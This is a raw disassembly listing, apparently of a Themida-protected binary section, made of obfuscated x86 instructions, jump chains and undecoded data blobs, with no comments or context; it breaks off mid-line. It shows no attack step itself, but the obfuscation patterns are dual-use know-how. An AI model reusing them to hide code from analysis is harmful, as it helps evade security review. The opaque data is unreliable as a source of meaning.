0FFFFF79Eh, 83242489h, 0E9042404h dd 12F39h, 0C781EF01h, 79430706h, 81EF015Dh, 0F67563EFh dd 3C37E922h, 0EEC10001h, 52E7E904h, 0D9F70000h, 0F4B0E9h db 0 ; --------------------------------------------------------------------------- loc_5500A9: ; CODE XREF: Themida_:0055BBD7j dec edx not edx inc edx shr edx, 4 add edx, 15E970E8h sub edx, 0D207BCC8h mov ecx, edx pop edx or ebp, ecx pop ecx push edx jmp loc_55E668 ; --------------------------------------------------------------------------- loc_5500C8: ; CODE XREF: Themida_:00554260j xor ch, dh jmp loc_558F56 ; --------------------------------------------------------------------------- db 89h dd 0FCBF243Ch, 81421C5Fh, 0B46824EEh, 3CE8E92Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5500E2: ; CODE XREF: Themida_:0055F278j mov esi, [esp] add esp, 4 inc esi xor esi, 39141058h add esi, 0AE84F33Eh mov edx, esi pop esi add ebp, 2A8926D9h add ebp, edx sub ebp, 2A8926D9h mov edx, [esp] jmp loc_55BD13 ; --------------------------------------------------------------------------- dd offset dword_58C130 dw 0FFC8h dd 7AE92434h db 13h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55011B: ; CODE XREF: Themida_:0055CBA8j xor ebp, 8EE2C940h jmp loc_552F10 ; --------------------------------------------------------------------------- dw 0C89h dd 4B06B924h, 0D4E92EE9h db 0FBh, 2 dup(0) ; --------------------------------------------------------------------------- loc_550133: ; CODE XREF: Themida_:005539B7j add esp, 4 push 40CDh mov [esp], ecx push edx mov edx, 7AC252E2h mov ecx, 853DAD22h add ecx, edx pop edx jmp loc_555EAF ; --------------------------------------------------------------------------- dd 208BC781h, 0C7817151h, 1A44317Ah, 0AA89E9h db 0 ; --------------------------------------------------------------------------- loc_550165: ; CODE XREF: Themida_:005646A5j xchg ecx, edi sub edi, 0F6D33FFh or edi, 29C751DDh add edi, 1 xor edi, 0BE0CE1C4h jmp loc_55304A ; --------------------------------------------------------------------------- dd 0FE94C380h, 95C380CBh, 0C4DDE9h, 81F72900h, 7504E5C7h dd 0FD295E25h, 31CD315Fh, 31CD31E9h, 0E9CB31D9h, 0B8F2h dd 4BBh, 4FCBE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5501B6: ; CODE XREF: Themida_:00553FE9j add ebp, ecx pop ecx add ebp, 4 xchg ebp, [esp] pop esp shr eax, 0Ch xor eax, ecx push ebp mov ebp, esp add ebp, 4 jmp loc_55E643 ; --------------------------------------------------------------------------- loc_5501D6: ; CODE XREF: Themida_:00553FB0j push ecx mov ch, 95h inc ch xor ch, 74h or dl, ch jmp loc_55842E ; --------------------------------------------------------------------------- db 81h, 0C1h, 4 dd 0E9000000h, 14634h, 88BB535Eh, 21482D31h, 0BA525BDEh dd 594B6A65h, 0E265E9h, 0CDE98100h, 0E9B77FC5h, 7226h dd 0E950E189h, 293Ah, 8105E6C1h, 1E034EF6h, 91FFE9AFh dd 0E6890000h, 4C681h, 0E3E90000h, 81000065h, 2741AFEAh dd 81F22935h, 2741AFC2h, 0E2C15E35h, 22EA8102h, 81DAF08Ch dd 0CC7D0BC6h, 81D6013Eh, 0CC7D0BEEh, 34335A3Eh, 24343124h dd 8B243433h, 3B662424h, 53E99CC8h, 660000CFh, 8324048Bh dd 1C8904ECh, 49476824h, 24890000h, 24048124h, 4, 83241C8Bh dd 685504C4h, 1C3Ch, 0B8240489h, 31A430FCh, 5FFE883h, 5432ADh dd 51C78957h, 0F2E9F989h, 83FFFFF6h, 0C8904ECh, 2B924h dd 0CA290000h, 24148759h, 6624248Bh, 0E9240C89h, 7574h dd 1F7068ADh, 93E90000h db 2Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5502D7: ; CODE XREF: Themida_:005581DAj push edx push edi mov edi, 1AD627CAh jmp loc_55AE96 ; --------------------------------------------------------------------------- db 5Bh dd 113068h, 24048900h, 1C82E9h, 6AE95D00h, 8100001Eh, 545465E6h dd 2517E960h, 0BD550000h, 4, 61E1E9h, 5F354000h, 0E9077503h dd 6EDCh, 0E35AE95Ah, 815D0000h, 0D95A1DC1h, 64C1811Fh dd 16301EFh, 240C8BCAh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_561F15 ; --------------------------------------------------------------------------- loc_550341: ; CODE XREF: Themida_:0055EB3Ej mov edx, [esp] push ecx push esp pop ecx add ecx, 4 add ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] loc_55035F: ; CODE XREF: Themida_:loc_55439Ej push ecx push esp jmp loc_564DF9 ; --------------------------------------------------------------------------- dw 835Eh dd 3C8704C7h, 34335C24h, 24343124h, 8B243433h, 89662424h dd 93E92404h db 0F4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550383: ; CODE XREF: Themida_:0055CB24j push ebp mov ebp, 5D761122h xor ebp, 3D827468h jmp loc_556F39 ; --------------------------------------------------------------------------- dd 28BB53ADh, 813FF00Fh, 5F0EA5C3h, 9ACB8138h, 810FBE01h dd 0F0E40AEBh, 5BD82975h, 3595E955h db 1, 0 ; --------------------------------------------------------------------------- loc_5503B6: ; CODE XREF: Themida_:0055936Dj shl ecx, 3 push ecx push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] jmp loc_552B21 ; --------------------------------------------------------------------------- aIIS8 db 'ڈ8>',0 db 0 ; --------------------------------------------------------------------------- loc_5503D1: ; CODE XREF: Themida_:005615D9j mov [esp], esi jmp loc_558F6A ; --------------------------------------------------------------------------- aPsM db 'Pm',0 dw 6600h dd 0E987048Fh, 0FFFFF42Eh, 0E9240489h, 221Fh, 50241C8Bh dd 405E089h, 0E9000000h, 2298h ; --------------------------------------------------------------------------- loc_550400: ; CODE XREF: Themida_:0055768Ej sub edi, 0BA70AD34h jmp loc_55EEB5 ; --------------------------------------------------------------------------- db 0C1h dd 0E7D104EFh, 4EC81h, 1C890000h, 0E9E38924h, 100A6h ; --------------------------------------------------------------------------- loc_550420: ; CODE XREF: Themida_:00553244j push edi mov edi, 1A72301Fh shl edi, 3 sub edi, 11DF18CEh and edi, 217F0D70h inc edi sub edi, 0FFFE8D10h sub ecx, edi pop edi xor [ecx], edx jmp loc_5505B5 ; --------------------------------------------------------------------------- dw 0CD01h dd 0BD555359h, 60A540Ch, 0C581D5F7h, 2C0D7B97h, 8107EDC1h dd 4C064BEDh, 0F71BE900h, 0E3C10000h, 17C38102h, 836BF9A2h dd 1C8904ECh, 0E95B5D24h, 0D99Dh, 2A89E581h, 41E9095Dh dd 0B40000ADh, 8BE728EAh, 0C4832404h, 95EF8004h, 0C780CF00h dd 240C8B95h, 4C481h, 0A0E90000h, 310000CAh, 8EE9240Ch dd 810000CDh, 23BBCEEBh, 5BDF01BCh, 15DBEB81h, 0FB010819h dd 15DBC381h, 3C8B0819h, 4C48324h, 6D8AEB81h, 295F4346h dd 24C381C3h, 8F565C76h, 0F334E900h, 215BFFFFh, 0C28159CAh dd 0FB884E4Ch, 9DB85052h, 5592340h, 359023Dh, 158C289h dd 7BE95AD0h, 89000135h, 9E92404h, 5C0000D4h, 9C2424D2h dd 0FFF301E9h, 242C33FFh, 7B8E9h, 0E9E08900h, 0C24Fh ; --------------------------------------------------------------------------- loc_550524: ; CODE XREF: Themida_:00563137j or eax, eax jz loc_56435E push dword ptr [edi+1Ch] xor dword ptr [esp], 45AD7BB5h push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 sub esp, 4 mov [esp], edx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp push esp jmp loc_55E517 ; --------------------------------------------------------------------------- db 0FEh, 0CAh, 80h dd 0C280FFEAh, 0B174E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_550572: ; CODE XREF: Themida_:00551A6Dj mov [esp], edi dec dword ptr [esp] pop edi sub edi, 45CED4BEh and eax, edi push dword ptr [esp] pop edi add esp, 4 jmp loc_55A48B ; --------------------------------------------------------------------------- loc_550590: ; CODE XREF: Themida_:00554A20j pop edx jmp loc_553782 ; --------------------------------------------------------------------------- loc_550596: ; CODE XREF: Themida_:00551F24j neg ebx neg ebx jmp loc_55BB59 ; --------------------------------------------------------------------------- db 2Dh dd 55FE4171h, 9308362Dh, 5E82917h, 17930836h, 4912E9h db 0 ; --------------------------------------------------------------------------- loc_5505B5: ; CODE XREF: Themida_:00550441j pop ecx sub esp, 4 mov [esp], eax mov eax, 24h add eax, edi xor edx, [eax] pop eax xor [edi+24h], edx jmp loc_56379D ; --------------------------------------------------------------------------- dw 0C583h dd 242C8704h, 5524248Bh, 4BDh, 2EC78100h, 813FD235h, 0C26FB8C7h dd 20C78101h, 1429145h, 20EF81EFh, 81429145h, 0C26FB8EFh dd 31BE5601h, 816EE96Dh, 257885CEh, 87EE812Fh, 29301B48h dd 0EFCFE9F7h, 0EC810000h, 4, 68241489h, 43DFh, 0E9242489h dd 0C798h, 0E789575Ch, 4C781h, 0EF810000h, 4, 2474FF57h dd 48F5F04h, 24248B24h, 68243489h, 560Dh, 4DD4E9h, 0D9F28100h dd 89F9BE6Ch, 408BE9D1h, 0C1810001h, 1EC29345h, 0C8BCF29h dd 4C48124h, 0E9000000h, 112C6h, 246068h, 24048900h, 25CEB951h dd 99E94853h db 19h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55068B: ; CODE XREF: Themida_:0055C3A0j mov edx, esi pop esi jmp loc_555933 ; --------------------------------------------------------------------------- db 81h dd 0C80B69C2h, 81F2016Ah, 0C80B69EAh, 0B3C2816Ah, 5E1E963Ah dd 2474FF52h, 0DE7DE904h, 0D2F70000h, 0EC83D687h, 40FBE904h db 1, 0 ; --------------------------------------------------------------------------- loc_5506BE: ; CODE XREF: Themida_:00554D1Dj push ebp mov ebp, 24846B93h xor [esp+4], ebp jmp loc_563155 ; --------------------------------------------------------------------------- db 50h, 0B8h, 38h dd 89762412h, 0E9C158C1h, 70A76802h, 14890000h, 5D4BE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5506E6: ; CODE XREF: Themida_:00564B1Fj pop ecx push ecx mov cl, dl not cl push ebx sub esp, 4 mov [esp], eax mov ah, cl mov bl, ah pop eax mov dl, bl jmp loc_563556 ; --------------------------------------------------------------------------- loc_550702: ; CODE XREF: Themida_:00561323j mov eax, 4EA8042Dh sub eax, 0FF3CEBB9h jmp loc_56272C ; --------------------------------------------------------------------------- loc_550711: ; CODE XREF: Themida_:00553E69j mov eax, 677F11C5h add ecx, eax jmp loc_555AAF ; --------------------------------------------------------------------------- db 81h, 0C1h, 0FEh dd 0E962412Ah, 10F46h, 0C0B60F5Ch, 688734FFh, 7BD9h, 53243489h dd 0AB453668h, 0F713E92Ah, 0D5F6FFFFh, 0EC81C5FEh, 4, 0B4240489h dd 273EE96Ch, 3C890001h, 81E78924h, 4ECh, 241C8900h, 4BBh dd 5BDF0100h, 4BE56h, 0F7290000h, 243C875Eh, 2404895Ch dd 0B45042B4h, 8066B76Fh, 0E72896EFh, 80A0B652h, 0DEF6BEC6h dd 8026CE80h, 0C68076F6h, 0F63E9C6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55079E: ; CODE XREF: Themida_:00550EC3j pop eax sub edi, 3ADD363Ch jmp loc_55967D ; --------------------------------------------------------------------------- dw 77FFh dd 59669D1Ch, 241CD366h, 0F05CE99Ch, 489FFFFh, 3DDEE924h dd 4FB30001h, 0B252DBF6h, 96E280FCh, 2BC280h, 0CB805AD3h dd 8EBC022h, 28F5EB80h, 241C8BDDh, 6CFAE9h, 42DAF700h dd 69BFC281h, 0D629C90Ch, 99C5815Ah, 14AE646h, 99ED81F5h dd 5E4AE646h, 8904EC83h, 8351243Ch, 48904ECh, 571BB824h dd 192D31FEh, 8931FE57h, 0CF8958C1h, 83240C8Bh, 0FD0104C4h dd 242C335Fh, 0E9242C31h, 2E3h, 5EBC166h, 23BA6652h, 77AEE97Fh dd 34870000h, 0F777E924h, 43680000h, 5F340DD5h, 10745E9h db 0 ; --------------------------------------------------------------------------- loc_550851: ; CODE XREF: Themida_:0054FD17j push edi jmp loc_556491 ; --------------------------------------------------------------------------- db 81h dd 165D48C6h, 4C6812Fh, 817A152Ah, 3835B3E6h, 6EEC15Fh dd 815AC681h, 0F20944CCh, 56F2875Eh, 0E9241CF7h, 7878h dd 5C243487h, 5224048Bh, 4EC8352h, 0FFF7E7E9h, 3C90BFFFh dd 0C28123B4h, 27B210DCh, 14551E9h, 0CE95A00h db 5Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5508A7: ; CODE XREF: Themida_:00559460j push 0 sub [esp], ecx pop ecx sub ecx, 0DA3A8149h add ebx, ecx pop ecx pop ecx jmp loc_564639 ; --------------------------------------------------------------------------- loc_5508BF: ; CODE XREF: Themida_:0055C530j mov [esp], eax sub esp, 4 mov [esp], edi push dword ptr [esp] pop eax jmp loc_563445 ; --------------------------------------------------------------------------- dd 0B5E95759h, 5500012Dh, 7CB85051h, 0E9796F54h, 1B14h ; --------------------------------------------------------------------------- loc_5508E8: ; CODE XREF: Themida_:005648C3j push dword ptr [edi+eax*4] jmp loc_55E1BD ; --------------------------------------------------------------------------- loc_5508F0: ; CODE XREF: Themida_:0055EAA3j xor edx, 236F3034h inc edx neg edx shl edx, 3 shr edx, 8 push ecx jmp loc_557378 ; --------------------------------------------------------------------------- db 4Bh, 0F7h, 0D3h dd 8106E3C1h, 7434B3F3h, 0D5F3814Ah, 165295Fh, 241C8BDAh dd 8248E9h db 0 ; --------------------------------------------------------------------------- loc_550921: ; CODE XREF: Themida_:00555968j dec edi push ecx mov ecx, 0BCB21C9h jmp loc_558576 ; --------------------------------------------------------------------------- db 29h, 0DAh, 8Bh dd 0C481241Ch, 4, 0A1D3C281h, 0FCE95F78h, 13Ah, 0EAE952C3h db 0E3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55094B: ; CODE XREF: Themida_:00554522j mov esi, esp sub esp, 4 mov [esp], ecx jmp loc_55F86C ; --------------------------------------------------------------------------- db 33h dd 0C6E9240Ch db 0A9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_550963: ; CODE XREF: Themida_:00551E7Dj mov eax, 35FD2B25h shr eax, 8 sub eax, 647E3AF4h add eax, 2E2119CAh jmp loc_563941 ; --------------------------------------------------------------------------- dw 0F742h dd 67CA81D2h, 810B3B44h, 6EB1ACC2h, 8BD72933h, 54562414h dd 4C6815Eh, 83000000h, 343304C6h, 24343124h, 5C243433h dd 337FF781h, 62E92E27h db 0F3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5509AF: ; CODE XREF: Themida_:00559603j push 1 mov ebx, [esp] add esp, 4 and ecx, ebx push dword ptr [esp] pop ebx push 71B0h jmp loc_554AE0 ; --------------------------------------------------------------------------- dw 12B6h dd 1203DE9h db 0 ; --------------------------------------------------------------------------- loc_5509D1: ; CODE XREF: Themida_:0055F263j add ecx, 3D9118E0h add ecx, edx push esi push eax mov eax, 38850DAh mov esi, eax jmp loc_54FBC2 ; --------------------------------------------------------------------------- db 0FFh dd 34FF2434h, 0CEE95D24h, 810000D8h, 40980C1h, 0D4E95F32h dd 2900002Fh, 685558C3h, 73245F13h, 81242C8Bh, 4C4h, 4EDC100h dd 1DAF581h, 0EB0154A0h, 83242C8Bh, 0C23104C4h, 0FFEDEDE9h dd 8EAC1FFh, 6805EAC1h, 57D4h, 0B9240C89h, 5C345916h, 996E9h dd 0DE85B800h, 0C601FFFAh, 8114E9h db 0 ; --------------------------------------------------------------------------- loc_550A4D: ; CODE XREF: Themida_:0055621Aj pop esi dec ecx sub ecx, 0F5BDFD2Ah jmp loc_55EEF0 ; --------------------------------------------------------------------------- dw 5749h dd 14142DBFh, 0E3C2E91Ch, 835F0000h, 148904ECh, 16CEBA24h dd 0C2811CADh, 0E352E936h, 14E9D329h db 5Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_550A7F: ; CODE XREF: Themida_:00563484j push dword ptr [esp+4] jmp loc_56315E ; --------------------------------------------------------------------------- dd 0F19E953h, 2D580001h, 341056B7h, 0B705D801h, 8B341056h dd 0E7E9241Ch, 8B00012Dh, 2EE92424h, 0C1000023h, 0EA8102E2h dd 7F3832F6h, 78A8E9h, 29A86800h, 3C890000h, 38BF6824h dd 14890000h, 0D633E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_550ACE: ; CODE XREF: Themida_:0055775Aj mov ebp, [esp] jmp loc_555780 ; --------------------------------------------------------------------------- loc_550AD6: ; CODE XREF: Themida_:0054FA9Bj sub ecx, ebp pop ebp add ecx, 0C7008CBFh inc ecx sub ecx, 0EFE9FF54h push esi mov esi, 33BA704Eh sub eax, esi jmp loc_54FEF7 ; --------------------------------------------------------------------------- db 5Dh dd 5C240487h, 68240C89h, 2, 83240C8Bh, 0CD0104C4h, 83240C8Bh dd 0E7E904C4h, 330000BAh, 0F0E9242Ch, 5FFFFFF9h, 8704E883h dd 0E95C2404h, 10368h, 240C8B66h, 110E2E9h, 12E95C00h db 2Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_550B37: ; CODE XREF: Themida_:005565D8j mov esp, [esp] jmp loc_564221 ; --------------------------------------------------------------------------- db 28h dd 2434FFC8h, 62B6E9h, 24148900h, 0EAABE9h, 0E9C60100h dd 1424Bh, 33241431h, 248B2414h, 83526624h, 0C8904ECh dd 0E95FB524h, 0FEE0h ; --------------------------------------------------------------------------- loc_550B70: ; CODE XREF: Themida_:005618A0j pop eax xchg edx, [esp] mov esp, [esp] mov [esp], edi jmp loc_5568D3 ; --------------------------------------------------------------------------- db 57h dd 4BFh, 0E9F80100h, 0FFFFFF8Fh, 89243489h, 3336E9E6h dd 3C870000h, 24248B24h, 68C8B70Fh, 0F05h, 68241489h, 80Bh dd 0C92EE9h db 0 ; --------------------------------------------------------------------------- loc_550BB1: ; CODE XREF: Themida_:00564C34j add ecx, ebp pop ebp push ecx add dword ptr [esp], 10EC7CC2h pop edx sub edx, 10EC7CC2h push dword ptr [esp] pop ecx push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_5573BD ; --------------------------------------------------------------------------- db 81h, 0E3h, 0BEh dd 0E952E040h, 0C61Dh, 57C5C381h, 59593EB7h, 2414F753h dd 0C381435Bh, 32BCFC45h, 0E794E9h, 41685C00h, 0E900000Fh dd 13A92h ; --------------------------------------------------------------------------- loc_550C18: ; CODE XREF: Themida_:0055B324j pop edi add ebx, edx sub ebx, 3AEB2455h pop edx push ebp push eax push ecx push 2D6A001Fh pop ecx mov eax, 9A8869E6h jmp loc_55EDA5 ; --------------------------------------------------------------------------- db 5Fh, 0E9h, 60h db 1Fh, 1, 0 ; --------------------------------------------------------------------------- loc_550C3B: ; CODE XREF: Themida_:005547D4j pop ebp xchg edx, [esp] jmp loc_55C2CC ; --------------------------------------------------------------------------- loc_550C44: ; CODE XREF: Themida_:005636F4j not dword ptr [esp] push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 xchg ebx, esi shl esi, 8 inc esi xor esi, 0FDFDFD01h and eax, esi mov esi, [esp] add esp, 4 push dword ptr [edi+1Ch] push dword ptr [esp] pop ecx push 4D95h mov [esp], edx push 1E36h jmp loc_55E42D ; --------------------------------------------------------------------------- db 5Eh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push ebx jmp loc_55A591 ; --------------------------------------------------------------------------- db 0BAh dd 7E82841h, 0E95AD001h, 0C312h, 6E686857h, 3C8B4C67h dd 0E7895724h, 4C781h, 7E90000h db 0AEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_550CB7: ; CODE XREF: Themida_:0055BF25j xor [esp], edx jmp loc_552F70 ; --------------------------------------------------------------------------- aPsT db 'P#t',0 dd 0E7E95D00h, 680000D6h, 337Dh, 32C6E9h, 24248B00h, 0F66E9F6h dd 5451CCB6h, 81240C8Bh, 4C4h, 4C18100h, 55000000h, 1286AE9h dd 0D830AC00h, 10D3DE9h db 0 ; --------------------------------------------------------------------------- loc_550CFD: ; CODE XREF: Themida_:0056100Ej sub edx, 14A93993h neg edx dec edx add edx, 26BA2313h jmp loc_563636 ; --------------------------------------------------------------------------- loc_550D11: ; CODE XREF: Themida_:005625F1j sub dword ptr [esp+4], 19AD63CDh pop ecx mov eax, [esp] push edx mov edx, esp jmp loc_556303 ; --------------------------------------------------------------------------- db 91h, 53h, 0E9h dd 11997h, 8059EE28h, 0E953E2C6h, 0CC98h ; --------------------------------------------------------------------------- loc_550D38: ; CODE XREF: Themida_:0056184Fj pop ebp add ebp, 4 jmp loc_55473E ; --------------------------------------------------------------------------- loc_550D44: ; CODE XREF: Themida_:005612E6j sub esp, 4 mov [esp], ecx mov ecx, 0B631DA7Eh jmp loc_556749 ; --------------------------------------------------------------------------- loc_550D54: ; CODE XREF: Themida_:00559810j sub ebp, esi pop esi jmp loc_552EB4 ; --------------------------------------------------------------------------- aTxsX db 'TX',0 db 0 ; --------------------------------------------------------------------------- loc_550D63: ; CODE XREF: Themida_:00553287j mov [esp], eax push ebx mov bl, 61h push 28EDh mov [esp], ecx mov ch, bl mov ah, ch jmp loc_5534E4 ; --------------------------------------------------------------------------- dw 0E981h dd 2, 5C240C87h, 24148966h, 2474FF66h, 148B6602h, 4EC8324h dd 89240C89h, 0E786E9E1h, 0F6800000h, 0E9F12882h, 4434h ; --------------------------------------------------------------------------- loc_550DA8: ; CODE XREF: Themida_:005637BBj shl edx, 2 xor edx, 795B5574h jmp loc_554A18 ; --------------------------------------------------------------------------- dw 10B9h dd 81571456h, 404081E1h, 0EBC98151h, 0F764236Ah, 5F6DE9D1h dd 0DFF70000h, 7C77EF81h, 0F9893F5Dh, 0E9243C8Bh, 0C98Eh dd 0B678E95Bh, 1C330000h, 241C3124h, 8B241C33h, 0B8E92424h dd 5D000073h, 0F4FAE9h, 241C8900h, 2B81E9h db 0 ; --------------------------------------------------------------------------- loc_550E05: ; CODE XREF: Themida_:0055BDCCj add eax, 4 sub eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] mov [esp], esi mov esi, 4 push ecx mov ecx, 7CA234A6h or ecx, 4F7F20A6h xor ecx, 55857C5Dh not ecx xor ecx, 0D1BFEBC2h jmp loc_5544C9 ; --------------------------------------------------------------------------- dw 0DA01h dd 5B2434FFh, 4C481h, 14330000h, 0E9FAE924h, 0DBF70000h dd 0E31BF381h, 0DF3190F3h, 5FFB015Bh, 3A49C381h, 0CB013C6Eh dd 3A49EB81h, 0EB813C6Eh, 25BA14C1h, 81240C8Bh, 4C4h, 21F0E900h dd 0C5810001h, 4, 13E2EE9h, 0E9D63100h, 0FFFFF81Ah, 2474FF53h dd 0A0E95B04h, 0C1000010h, 0C38102E3h, 0EE303C9h, 2D26E9h dd 4BA5200h, 1000000h, 24148BD7h, 13312E9h db 0 ; --------------------------------------------------------------------------- loc_550EC1: ; CODE XREF: Themida_:00558C56j xor esi, eax jmp loc_55079E ; --------------------------------------------------------------------------- loc_550EC8: ; CODE XREF: Themida_:00556C11j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_54FD0F ; --------------------------------------------------------------------------- a1sSt db '1]',0 dw 8700h aSdm db '<$餌',0 db 0 ; --------------------------------------------------------------------------- loc_550EEB: ; CODE XREF: Themida_:005562ABj sub esi, 12B081E4h jmp loc_55189F ; --------------------------------------------------------------------------- aQ4s db ',Q=4',0Ah db '=',0 align 10h dd 2414875Fh, 1092BE9h db 0 ; --------------------------------------------------------------------------- loc_550F09: ; CODE XREF: Themida_:0055E5ACj pop ebx jmp loc_551067 ; --------------------------------------------------------------------------- db 66h dd 5024048Bh, 429368h, 11B7E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_550F1E: ; CODE XREF: Themida_:00554834j add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_56262A ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 0FF24248Bh, 0E99C240Ch, 0FFFFE8D6h, 8B24048Fh, 34FF2424h dd 2434FF24h, 11D62E9h, 242C8B00h, 8104C483h, 4EAh, 24148700h dd 240C895Ch, 1B768h, 241C8900h, 4EC8352h, 13D2EE9h, 0E5B25200h dd 0F280C2FEh, 0B6B551B0h, 0DECE9h, 0B8505D00h, 62B258B1h dd 8244401h, 24440158h, 246C8104h, 0B258B104h, 24048B62h dd 4C481h, 3C8B0000h, 3EB4E924h, 0D0F70001h, 0C6814E96h dd 3C5233B5h, 0ED5BB53h, 0DE0965C6h, 8FB6E9h, 38036800h dd 54E90000h, 0BD000042h, 5E535F92h, 8C96E9h, 81D10100h dd 510ADFE9h, 0C1815A15h, 4, 8904EC83h, 74FF240Ch, 84E90424h db 0EFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_550FF7: ; CODE XREF: Themida_:0055CAF2j pop esi xchg edi, [esp] pop esp shr ecx, 7 push 6946h mov [esp], ebx jmp loc_55F9BC ; --------------------------------------------------------------------------- dd 1BB5358h, 154B20Fh, 0BB535BD8h, 1EF10130h, 10AF9E9h dd 24248B00h, 1129DE9h, 2FEB8100h, 0E97B6D15h, 13E55h dd 0B9240C89h, 4EF91412h, 5059CF29h, 0CF3D50B8h, 62EF814Bh dd 0E9118466h, 12CA3h, 3124248Bh, 0E99C2404h, 0FFFFE7BAh ; --------------------------------------------------------------------------- loc_55105C: ; CODE XREF: Themida_:0055E831j add esp, 4 jmp loc_55143D ; --------------------------------------------------------------------------- loc_551067: ; CODE XREF: Themida_:00550F0Aj or ch, 0E7h jmp loc_560F21 ; --------------------------------------------------------------------------- loc_55106F: ; CODE XREF: Themida_:005609C3j push ecx pop edx push dword ptr [esp] pop ecx jmp loc_5536FE ; --------------------------------------------------------------------------- loc_55107A: ; CODE XREF: Themida_:00558905j pop esi push ebp mov ebp, 324A1725h push edx push ebx jmp loc_56488C ; --------------------------------------------------------------------------- dd 5024148Bh, 0D6E9E089h, 870000B3h, 248B2404h, 24348924h dd 6B2C68h, 24248900h, 4BB53h, 0BD550000h, 4D754402h, 8246C01h dd 5238E95Dh, 34B20000h, 148BD000h, 4C48324h, 0E8B35351h dd 0A66DE9h db 0 ; --------------------------------------------------------------------------- loc_5510CD: ; CODE XREF: Themida_:0055D181j add ebx, eax pop eax add ebx, 4 push ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 jmp loc_561C30 ; --------------------------------------------------------------------------- dw 0D0F7h dd 8C3B390Dh, 5E8C143h, 1365DE9h, 0D8F74800h, 2507E0C1h dd 65E77922h, 9400E9h, 81C50100h, 0B0148BEDh, 3119683Ah dd 34890000h, 151BE24h, 0DEF74836h, 1EA2EE81h, 0DEF7686Dh dd 0E6D1D6F7h, 62FFBB53h, 0E3816676h, 36A2C2Eh, 5FA9F381h dd 0C3817F03h, 2244431h, 60DCEB81h, 0DE29183Dh, 5EF5015Bh dd 86C4E9h, 241C8900h, 3F81E954h, 0E7890000h, 4C781h, 0C7830000h dd 243C8704h, 8BEB295Ch, 70E9242Ch db 72h, 2 dup(0) ; --------------------------------------------------------------------------- loc_551173: ; CODE XREF: Themida_:00557A12j add ecx, esi pop esi push edi jmp loc_558888 ; --------------------------------------------------------------------------- dd 6D91C681h, 0F1290B38h, 0BB53555Eh, 275F2D7Fh, 295BDD89h dd 515D5DE9h, 42474FFh, 24048F59h, 0F5DE9h, 240CFF00h dd 69E18159h, 520CD03Fh, 175682BAh, 2EAC13Bh, 7A16F281h dd 0F75257BCh, 0E95A241Ch, 0E01Dh, 33241431h, 248B2414h dd 1834E924h, 0EA800000h, 0B151664Ch, 853DE9C9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5511DE: ; CODE XREF: Themida_:00555C22j add edi, 6E5B2581h jmp loc_55D69C ; --------------------------------------------------------------------------- db 68h, 0A3h, 23h dd 0E6E9403Eh db 1Ch, 1, 0 ; --------------------------------------------------------------------------- loc_5511F3: ; CODE XREF: Themida_:0055A49Dj mov [esp], edx jmp loc_55EBB2 ; --------------------------------------------------------------------------- loc_5511FB: ; CODE XREF: Themida_:005538EBj add ebp, 4 jmp loc_5536E1 ; --------------------------------------------------------------------------- loc_551206: ; CODE XREF: Themida_:005513E3j shl edi, 8 push edx mov edx, esp add edx, 4 push eax mov eax, 4 sub edx, eax jmp loc_5526D3 ; --------------------------------------------------------------------------- db 81h dd 0B87B9AEFh, 81D7017Fh, 0B87B9AC7h, 54575A7Fh, 4C7815Fh dd 81000000h, 4EFh, 243C8700h, 2414895Ch, 620DE9h, 4C38100h dd 81000000h, 4C3h, 241C8700h, 25E1E9h, 38B800h, 0C3890000h dd 6D18E958h, 1EBB0000h, 150C3ACh, 9707E9D3h, 5BBB0000h dd 5143AD6Eh, 975E24B9h, 59CB2966h, 0C381C329h, 66975E24h dd 8977E9h, 4EC8300h, 0E9241489h, 11864h, 0F581D5F7h, 5BAF2B56h dd 7E9DDF7h, 530000C4h, 0E1E907B7h, 5D0000B9h, 81241C8Bh dd 4C4h, 5A146800h, 14890000h, 17CBA24h, 0D7E9680Bh db 64h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5512CF: ; CODE XREF: Themida_:0056066Bj xchg edx, [esp] jmp loc_555A0D ; --------------------------------------------------------------------------- loc_5512D7: ; CODE XREF: Themida_:0055E6A5j sub eax, 39AB6BABh jmp loc_55FD39 ; --------------------------------------------------------------------------- loc_5512E1: ; CODE XREF: Themida_:00554403j push ebp add dword ptr [esp], 38385727h mov ebx, [esp] add esp, 4 sub ebx, 38385727h pop ebp sub ebp, ebx mov ebx, [esp] add esp, 4 push ebp push dword ptr [esp+4] jmp loc_55E82E ; --------------------------------------------------------------------------- db 68h dd 7167h, 83242489h, 5F042404h, 0B026E953h, 